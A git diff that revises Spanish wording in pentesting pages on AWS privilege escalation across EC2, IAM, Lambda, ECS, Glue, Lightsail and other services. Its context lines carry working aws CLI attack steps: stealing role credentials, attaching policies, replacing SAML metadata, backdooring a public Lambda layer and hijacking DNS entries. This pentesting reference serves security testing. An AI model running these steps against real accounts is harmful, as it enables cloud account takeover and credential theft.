capaz de registrar la instancia dentro del clúster y realizar el ataque comentado. +Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías registrar la instancia dentro del clúster y realizar el ataque comentado. **Impacto Potencial:** Privesc directo a los roles de ECS adjuntos a las tareas. @@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una i**nstance comprometida:** +Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una **instancia** comprometida: - Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`) \* ```bash @@ -90,7 +90,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el asociado a ella. +Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el que está asociado a ella. - Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** \* ```bash @@ -123,7 +123,7 @@ aws ec2 request-spot-instances \ Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener un **rev shell a la instancia EC2**. -Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. +Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -178,11 +178,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Impacto Potencial:** Privesc directo a un rol EC2 diferente. +**Impacto Potencial:** Privesc directo a un rol de EC2 diferente. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol IAM**. +Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de autoscaling** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -219,7 +219,7 @@ aws ec2-instance-connect send-ssh-public-key \ Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**. -Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. +Para conectarse al puerto serial también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. ```bash aws ec2 enable-serial-console-access @@ -231,9 +231,9 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -De esta manera, no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo. +Este método no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo. -**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución. +**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución. ### `describe-launch-templates`,`describe-launch-template-versions` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index 35352fbf3..90e946888 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -39,7 +39,7 @@ aws ecr set-repository-policy \ --repository-name \ --policy-text file://my-policy.json ``` -Contenido de `my-policy.json`: +Contenidos de `my-policy.json`: ```json { "Version": "2008-10-17", @@ -87,7 +87,7 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**Impacto Potencial**: Acceso público no autorizado al repositorio ECR Público, permitiendo a cualquier usuario subir, bajar o eliminar imágenes. +**Impacto Potencial**: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario subir, bajar o eliminar imágenes. ### `ecr:PutRegistryPolicy` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 6fa308261..329fb48d7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -145,7 +145,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Un atacante con el **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el rol de IAM adjunto a él (necesitas los permisos de descripción porque es necesario ejecutar `aws ecs execute-command`).\ -Sin embargo, para hacer eso, la instancia del contenedor necesita estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está). +Sin embargo, para hacer eso, la instancia del contenedor debe estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está). Por lo tanto, el atacante podría intentar: @@ -172,7 +172,7 @@ aws ecs execute-command --interactive \ - Si tiene **`ecs:CreateService`**, cree un servicio con `aws ecs create-service --enable-execute-command [...]` - Si tiene **`ecs:UpdateService`**, actualice un servicio con `aws ecs update-service --enable-execute-command [...]` -Puede encontrar **ejemplos de esas opciones** en **secciones anteriores de privesc de ECS**. +Puede encontrar **ejemplos de estas opciones** en **secciones anteriores de privesc de ECS**. **Impacto Potencial:** Privesc a un rol diferente adjunto a contenedores. @@ -194,7 +194,7 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: ¿Es posible registrar una instancia de una cuenta de AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante? +TODO: ¿Es posible registrar una instancia de otra cuenta de AWS para que las tareas se ejecuten en máquinas controladas por el atacante? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index a0d215ff7..33dff4050 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \ ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad permite el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**: +En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad está permitiendo el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 2dfd4ca2b..a86a8f8b5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -44,11 +44,11 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n ``` Si ya se ha creado un entorno y **no quieres crear uno nuevo**, puedes simplemente **actualizar** el existente. -- Empaqueta tu código de aplicación y dependencias en un archivo ZIP: +- Empaqueta el código de tu aplicación y las dependencias en un archivo ZIP: ```python zip -r MyApp.zip . ``` -- Cargue el archivo ZIP a un bucket de S3: +- Carga el archivo ZIP a un bucket de S3: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Una vez que tengas **tu propio entorno de Beanstalk ejecutando** tu rev shell, es hora de **migrarlo** al entorno de los **víctimas**. Para hacerlo, necesitas **actualizar la política del bucket** de tu bucket S3 de Beanstalk para que el **víctima pueda acceder a él** (Ten en cuenta que esto **abrirá** el bucket a **TODOS**): +Una vez que tengas **tu propio entorno de Beanstalk en funcionamiento** con tu rev shell, es hora de **migrarlo** al entorno de los **víctimas**. Para hacerlo, necesitas **actualizar la política del bucket** de tu bucket S3 de Beanstalk para que el **víctima pueda acceder a él** (Ten en cuenta que esto **abrirá** el bucket a **TODOS**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index d2c485f65..b504e87cd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -13,7 +13,7 @@ Más **info sobre EMR** en: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` Un atacante con estos permisos puede **ejecutar un nuevo clúster EMR adjuntando roles de EC2** e intentar robar sus credenciales.\ -Ten en cuenta que para hacer esto necesitarías **conocer alguna clave privada ssh importada en la cuenta** o importar una, y poder **abrir el puerto 22 en el nodo maestro** (puedes ser capaz de hacer esto con los atributos `EmrManagedMasterSecurityGroup` y/o `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`). +Ten en cuenta que para hacer esto necesitarías **conocer alguna clave privada ssh importada en la cuenta** o importar una, y poder **abrir el puerto 22 en el nodo maestro** (puedes hacer esto con los atributos `EmrManagedMasterSecurityGroup` y/o `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -Note cómo un **rol EMR** se especifica en `--service-role` y un **rol ec2** se especifica en `--ec2-attributes` dentro de `InstanceProfile`. Sin embargo, esta técnica solo permite robar las credenciales del rol EC2 (ya que te conectarás a través de ssh) pero no el Rol IAM de EMR. +Nota cómo un **rol EMR** se especifica en `--service-role` y un **rol ec2** se especifica en `--ec2-attributes` dentro de `InstanceProfile`. Sin embargo, esta técnica solo permite robar las credenciales del rol EC2 (ya que te conectarás a través de ssh) pero no el Rol IAM de EMR. **Impacto Potencial:** Privesc al rol de servicio EC2 especificado. @@ -45,7 +45,7 @@ Note cómo un **rol EMR** se especifica en `--service-role` y un **rol ec2** se Con estos permisos, un atacante puede ir a la **consola de AWS**, crear un Notebook y acceder a él para robar el Rol IAM. > [!CAUTION] -> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que podía robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM. +> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que pude robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM. **Impacto Potencial:** Privesc al rol gestionado por AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile @@ -55,7 +55,7 @@ Solo con este permiso, un atacante podrá acceder al **Jupyter Notebook y robar La URL del notebook es `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que podía robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM. +> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que pude robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM. **Impacto Potencial:** Privesc al rol gestionado por AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 1b952e32c..cdf3d0d8a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -22,7 +22,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Para propósitos de sigilo, se recomienda usar las credenciales de IAM desde dentro de la máquina virtual de Glue. +Con fines de sigilo, se recomienda usar las credenciales de IAM desde dentro de la máquina virtual de Glue. **Impacto Potencial:** Privesc al rol de servicio de Glue especificado. @@ -41,7 +41,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Impacto Potencial:** Privesc al rol del servicio glue utilizado. +**Impacto Potencial:** Privesc al rol de servicio de glue utilizado. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) @@ -71,13 +71,13 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**Impacto Potencial:** Privesc al rol del servicio glue especificado. +**Impacto Potencial:** Privesc al rol de servicio de glue especificado. ### `glue:UpdateJob` Solo con el permiso de actualización, un atacante podría robar las credenciales IAM del rol ya adjunto. -**Impacto Potencial:** Privesc al rol del servicio glue adjunto. +**Impacto Potencial:** Privesc al rol de servicio de glue adjunto. ## Referencias diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 84232e8df..95284e8f4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -Para más información sobre IAM, consulta: +Para más información sobre IAM consulta: {{#ref}} ../aws-services/aws-iam-enum.md @@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn --version-id ### **`iam:CreateAccessKey`** -Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una posible escalación de privilegios. +Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una escalación de privilegios potencial. **Explotar:** ```bash @@ -79,7 +79,7 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impacto:** Escalación directa de privilegios dentro de los permisos del servicio del usuario. +**Impacto:** Escalación de privilegios directa dentro de los permisos de servicio del usuario. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** @@ -137,7 +137,7 @@ Permite agregarse a uno mismo a un grupo de IAM, escalando privilegios al hereda ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impacto:** Escalación directa de privilegios al nivel de los permisos del grupo. +**Impacto:** Escalación de privilegios directa al nivel de los permisos del grupo. ### **`iam:UpdateAssumeRolePolicy`** @@ -167,7 +167,7 @@ Donde la política se ve como la siguiente, que le da al usuario permiso para as ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una posible escalación de privilegios indirecta. +Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una escalación de privilegios indirecta. **Explotación para la carga de clave SSH:** ```bash @@ -192,7 +192,7 @@ aws iam resync-mfa-device --user-name --serial-number ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **rol que confíe** en ella. +Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **rol que le esté confiando**. Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, así que puedes poner el tuyo, iniciar sesión y configurar el anterior de nuevo. ```bash @@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(No estoy seguro sobre esto) Si un atacante tiene estos **permisos**, podría agregar un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. +(No estoy seguro de esto) Si un atacante tiene estos **permisos**, podría agregar un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. ```bash # List providers aws iam list-open-id-connect-providers diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index fc9357dda..8faeb458e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -70,7 +70,7 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -Nota que es posible listar los permisos de las claves con: +Tenga en cuenta que es posible listar los permisos de las claves con: ```bash aws kms list-grants --key-id ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 37ab6da9f..b680001e2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -13,8 +13,8 @@ Más información sobre lambda en: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) Los usuarios con los permisos **`iam:PassRole`, `lambda:CreateFunction` y `lambda:InvokeFunction`** pueden escalar sus privilegios.\ -Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados con ese rol. El usuario puede entonces **escribir y subir código a esta función Lambda (con un rev shell, por ejemplo)**.\ -Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas de manera indirecta a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\ +Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados con ese rol. El usuario puede luego **escribir y subir código a esta función Lambda (con un rev shell, por ejemplo)**.\ +Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas indirectamente a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\ Un atacante podría abusar de esto para obtener un **rev shell y robar el token**: ```python:rev.py @@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Ahora es posible **conectar la función Lambda a la tabla DynamoDB** creando **un mapeo de origen de eventos**: +Ahora es posible **conectar la función Lambda a la tabla DynamoDB** mediante **la creación de un mapeo de origen de eventos**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ @@ -143,7 +143,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` -Los usuarios que poseen el permiso **`lambda:UpdateFunctionCode`** tienen el potencial de **modificar el código de una función Lambda existente que está vinculada a un rol de IAM.**\ +Los usuarios que tienen el permiso **`lambda:UpdateFunctionCode`** tienen el potencial de **modificar el código de una función Lambda existente que está vinculada a un rol de IAM.**\ El atacante puede **modificar el código de la lambda para exfiltrar las credenciales de IAM**. Aunque el atacante puede no tener la capacidad directa de invocar la función, si la función Lambda ya existe y está operativa, es probable que se active a través de flujos de trabajo o eventos existentes, facilitando así indirectamente la ejecución del código modificado. @@ -177,7 +177,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat [**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** en tu función lambda pero **almacenándolo por separado**, de modo que el código de la función puede permanecer pequeño y **varias funciones pueden compartir código**. -Dentro de lambda, puedes verificar las rutas desde donde se carga el código de python con una función como la siguiente: +Dentro de lambda, puedes verificar las rutas desde donde se carga el código python con una función como la siguiente: ```python import json import sys @@ -208,20 +208,20 @@ Por ejemplo, supongamos que la lambda está usando la biblioteca boto3, esto cre ```bash pip3 install -t ./lambda_layer boto3 ``` -Puedes abrir `./lambda_layer/boto3/__init__.py` y **agregar la puerta trasera en el código global** (una función para exfiltrar credenciales o obtener un shell inverso, por ejemplo). +Puedes abrir `./lambda_layer/boto3/__init__.py` y **agregar la puerta trasera en el código global** (una función para exfiltrar credenciales o obtener un shell reverso, por ejemplo). -Luego, comprime ese directorio `./lambda_layer` y **sube la nueva capa de lambda** en tu propia cuenta (o en la de la víctima, pero es posible que no tengas permisos para esto).\ -Ten en cuenta que necesitas crear una carpeta de python y poner las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa debe ser **compatible con la versión de python** utilizada por la lambda y si la subes a tu cuenta, debe estar en la **misma región:** +Luego, comprime ese directorio `./lambda_layer` y **sube la nueva capa de lambda** en tu propia cuenta (o en la de las víctimas, pero puede que no tengas permisos para esto).\ +Ten en cuenta que necesitas crear una carpeta python y poner las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa necesita ser **compatible con la versión de python** utilizada por la lambda y si la subes a tu cuenta, debe estar en la **misma región:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Ahora, haz que la capa de lambda subida **sea accesible por cualquier cuenta**: +Ahora, haz que la capa de lambda **sea accesible por cualquier cuenta**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -Y adjunta la capa lambda a la función lambda de la víctima: +Y adjunta la capa de lambda a la función lambda de la víctima: ```bash aws lambda update-function-configuration \ --function-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 13efd4f22..f86ce9c23 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,14 +4,14 @@ ## Lightsail -Para más información sobre Lightsail, consulta: +Para más información sobre Lightsail consulta: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> Es importante tener en cuenta que Lightsail **no utiliza roles de IAM pertenecientes al usuario** sino a una cuenta gestionada por AWS, por lo que no puedes abusar de este servicio para privesc. Sin embargo, **datos sensibles** como código, claves API e información de bases de datos podrían encontrarse en este servicio. +> Es importante tener en cuenta que Lightsail **no utiliza roles de IAM pertenecientes al usuario** sino a una cuenta administrada por AWS, por lo que no puedes abusar de este servicio para privesc. Sin embargo, **datos sensibles** como código, claves API e información de bases de datos podrían encontrarse en este servicio. ### `lightsail:DownloadDefaultKeyPair` @@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \ ### `lightsail:UpdateBucket` -Con este permiso, un atacante podría otorgar a su propia cuenta de AWS acceso de lectura sobre buckets o incluso hacer que los buckets sean públicos para todos: +Con este permiso, un atacante podría otorgar a su propia cuenta de AWS acceso de lectura sobre los buckets o incluso hacer que los buckets sean públicos para todos: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -101,7 +101,7 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` -**Impacto Potencial:** Acceso potencial nuevo a buckets con información sensible. +**Impacto Potencial:** Acceso potencial a buckets con información sensible. ### `lightsail:UpdateContainerService` @@ -115,7 +115,7 @@ aws update-container-service \ ### `lightsail:CreateDomainEntry` -Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos desde el dominio, o incluso establecer el dominio principal a su propia dirección IP. +Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal a su propia dirección IP. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ @@ -125,7 +125,7 @@ aws lightsail create-domain-entry \ ### `lightsail:UpdateDomainEntry` -Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de control del subdominio), o elaborar un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal en su propia dirección IP. +Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de control del subdominio), o crear un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal en su propia dirección IP. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index b5a6e9c86..c935de0a6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -10,7 +10,7 @@ aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Cambia el nombre de usuario y la contraseña del primer IngestEndpoint del Canal. (Esta API está en desuso para RotateIngestEndpointCredentials) +Cambia el nombre de usuario y la contraseña del primer IngestEndpoint del Canal. (Esta API está obsoleta para RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 1089e0be5..a6c4a2d31 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -Para más información sobre MQ, consulta: +Para más información sobre MQ consulta: {{#ref}} ../aws-services/aws-mq-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index e290814e4..836599d20 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -12,11 +12,11 @@ Para más información sobre MSK (Kafka) consulta: ### `msk:ListClusters`, `msk:UpdateSecurity` -Con estos **privilegios** y **acceso a la VPC donde están los brokers de kafka**, podrías agregar la **autenticación Ninguna** para acceder a ellos. +Con estos **privilegios** y **acceso a la VPC donde están los brokers de kafka**, podrías agregar la **autenticación None** para acceder a ellos. ```bash aws msk --client-authentication --cluster-arn --current-version ``` Necesitas acceso a la VPC porque **no puedes habilitar la autenticación None con Kafka expuesto públicamente**. Si está 